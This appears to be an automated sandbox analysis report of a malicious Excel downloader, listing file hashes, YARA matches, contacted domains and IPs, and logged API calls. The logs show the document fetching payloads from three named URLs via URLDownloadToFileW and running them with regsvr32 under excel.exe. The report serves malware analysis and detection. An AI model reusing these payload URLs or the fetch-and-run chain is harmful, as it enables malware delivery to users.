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protocol-681080435.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 27, 2021, 10:10 p.m. Oct. 27, 2021, 10:14 p.m.
Size 83.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Wed Oct 27 09:45:18 2021, Security: 0
MD5 ffae16ac46573765379065dcae2ec248
SHA256 567fffe91c6fe2fef542ba43ed9fd2fab425bc11136f9f66e25cb52ec3bb8f41
CRC32 8F211980
ssdeep 1536:c5Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgA91vrVmxJiME2GhdD52lZPFu1AOgo+t+:KKpb8rGYrMPe3q7Q0XV5xtezEsi8/dg4
Yara
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
atochagaleria.com.ar
A 192.99.46.215
192.99.46.215
ost.net.br
A 162.241.2.103
162.241.2.103
maberic.com
A 199.79.62.121
199.79.62.121
IP Address Status Action
162.241.2.103 Active Moloch
164.124.101.2 Active Moloch
192.99.46.215 Active Moloch
199.79.62.121 Active Moloch

Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b2e2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3052
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://maberic.com/3XRJdBEjFc/l.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

 url: https://ost.net.br/toXuNS00/l.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270085 0

URLDownloadToFileW

 url: https://atochagaleria.com.ar/CnijALAyxR/l.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe